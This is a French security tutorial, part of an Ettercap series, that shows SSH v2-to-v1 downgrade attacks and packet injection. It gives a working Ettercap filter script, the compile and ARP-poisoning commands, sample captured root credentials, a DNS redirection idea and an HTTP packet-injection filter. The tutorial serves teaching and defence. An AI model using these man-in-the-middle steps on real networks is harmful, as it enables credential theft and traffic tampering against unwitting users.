Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.



[Ettercap – Partie 3] Ettercap par l'exemple - Affaiblissement de protocoles et attaque par injection

Par Moussa Diallo, secuobs.com
Le 04/10/2006


Résumé : Présentation des attaques par affaiblissement de protocoles et des attaques par injection qui seront l'occasion d'expliquer le fonctionnement des filtres. Retrouvez également les principes d'utilisation des plugins dans Ettercap.



Attaques par affaiblissement de protocoles

Parmi les fonctions avancées de Ettercap, une des possibilités les plus méconnues concerne les attaques par affaiblissement de protocole (downgrade attacks). Etant donné que l'attaquant est susceptible de se trouver au milieu de la connexion il peut intervenir au cours de la connexion sécurisée afin de forcer la victime à utiliser un protocole vulnérable.

Nous allons prendre l'exemple de SSH. Aujourd'hui la version la plus répandue de SSH est la version 2. Si un client se connecte à un serveur en utilisant le protocole SSH v2 une attaque de Man In the Middle comme nous l’avons vue précédemment ne fonctionnera pas ; Ettercap n’implémentant pas d’attaque Man In The Middle sur le protocole SSHv2, le seul outil à ma connaissance permettant ce type d’attaque est jmim2.

Cependant si le serveur accepte l'utilisation du protocole SSH v1 (connu pour être vulnérable à des attaques de Man In the Middle), un attaquant pourra récupérer les identifiants de connexions et déchiffrer les données échangées.

L'astuce consiste à identifier le début d'une connexion SSH v2. Si le serveur supporte les protocoles SSH v1 et SSH v2 il répondra à la requête de connexion avec dans son en-tête la chaîne de caractère SSH-1.99. Si le serveur ne supporte que le protocole SSH v1, il répondra avec dans son en-tête SSH-1.51.

L'attaquant peut donc modifier la réponse pour faire croire au client que le serveur ne supporte que le protocole SSH v1. Pour cela il peut réaliser un filtre afin de remplacer les caractères "1.99" par "1.51" afin d’obliger le client à utiliser une version vulnérable du protocole.


Le fonctionnement des filtres avec Ettercap.

Ettercap permet d’appliquer des filtres sur les paquets qui transitent afin de réaliser un certain nombre d'actions. On peut penser notamment à filtrer (chercher, remplacer...) des chaînes de caractères, ou encore interagir directement au niveau des paquets pour les faire disparaître (drop) ou en injecter de nouveaux.

La syntaxe est relativement simple puisqu'elle ressemble à du C. Un script est une succession d'instructions exécutées séquentiellement. Il est possible d'utiliser les instructions "if/else" (qui sont d'ailleurs les seules supportées.

Voyons comment utiliser un script pour mettre en place l'attaque sur SSH. Le script suivant se trouve dans /usr/share/ettercap/ :


if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}



Il y a d'abord un filtrage sur le protocole et le port utilisés:


if (ip.proto == TCP) {
if (tcp.src == 22) {



La fonction "replace()" va remplacer la chaîne de caractères "SSH-1.99" par la chaîne de caractères "SSH-1.51". Si tout a fonctionné jusque là, le message "[SSH Filter] SSH downgraded from version 2 to 1" est affiché.


if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");



La suite du script n'est rien d'autre que des messages d'informations. Si l'on trouve la chaîne de caractère "SSH-2.00" on affiche un message qui informera l’attaquant que le serveur ne supporte que le protocole SSH v2.


if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");



La variable "data" représente le buffer du paquet en cours. Il peut être de la forme "DATA.data" où il représente le payload de la couche donnée (au dessus de TCP/UDP) comme il est transmis sur le réseau ou de la forme "DECODED.data" où il représente le payload déchiffré par les dissecteurs de protocoles d’Ettercap.

Ainsi, si l'on souhaite faire une recherche dans une connexion SSH, il est préférable d'utiliser 'DECODED.data' puisque les données seront décodées par les dissecteurs d'Ettercap.

Avant que notre filtre soit fonctionnel il est nécessaire de le compiler afin qu'il soit interprétable par Ettercap. Pour cela l'outil etterfilter est fourni avec la suite Ettercap. L'utilisation est relativement simple puisqu'il suffit de lui indiquer le nom de notre fichier source puis le nom de notre binaire de sortie.


Etterfilter etter.filter.ssh –o etter.filter.ssh.ef


L'attaquant est désormais en mesure de mettre en place son attaque sur le protocole SSH.

Il se place en homme du milieu et charge le script de filtrage pour affaiblir le protocole SSH v2 en SSH v1. L’utilisation d’un script est indiqué à Ettercap avec l’option –F.


ettercap -Tq -M arp /192.168.1.27/ /192.168.1.100/ -F etter.filter.ssh.ef


Lorsque la victime se connecte au serveur la chaîne de caractère "SSH-1.99" est filtrée et remplacée par "SSH-1.51", demandant ainsi au client d'utiliser la version 1 de SSH. Ce qui permet de récupérer les données échangées.


[SSH Filter] SSH downgraded from version 2 to 1
SSH : 192.168.1.100:22 -> USER: root PASS: rF$4pEv1/!*



Cette attaque par affaiblissement de protocole peut également être mise en place contre d'autres protocoles ayant connu des problèmes de sécurité dans des versions antérieures (MSCHAP)


Attaque par injection

Les possibilités offertes par Ettercap d'analyser le contenu des flux transitant sur le réseau sont encore améliorées par ces capacités de filtrage. Comme nous l'avons vu, les filtres peuvent être configurés pour chercher et remplacer des chaînes de caractères au format texte ou hexadécimal avant de les ré-acheminer vers le destinataire final.

On peut par exemple réaliser un filtre qui va remplacer la chaîne de caractère "www.mysafedomain.com" par "www.cr4ckandsuck.ru" dans toutes les trames à destination du port 53, ainsi toutes les requêtes DNS seront modifiées pour que la victime soient re-dirigée vers un site malicieux.

On peut imaginer d'avantages de scénarios comme modifier les destinataires de mails ou l'injection de code dans des pages Web (javascript, trojans, virus ...).

L'exemple suivant montre l'injection d'un code javascript malveillant dans une session HTTP. Pour cela il faut intercepter une requête légitime d'un utilisateur vers un serveur Web, dropper la requête et injecter le paquet.


# replace the entire packet with another
if (ip.proto == TCP && tcp.src == 80) {
drop();
#msg("dropping packet");
inject("./payload");
#msg ("packet injected");
}



Où payload est le paquet envoyé.





Autres ressources dans ce dossier

[Ettercap – Partie 1] Introduction et rappels - lien

[Ettercap – Partie 2] Ettercap par l'exemple - Man In the Middle et SSL sniffing - lien

[Ettercap – Partie 4] Contre mesure, conclusion et webographie - lien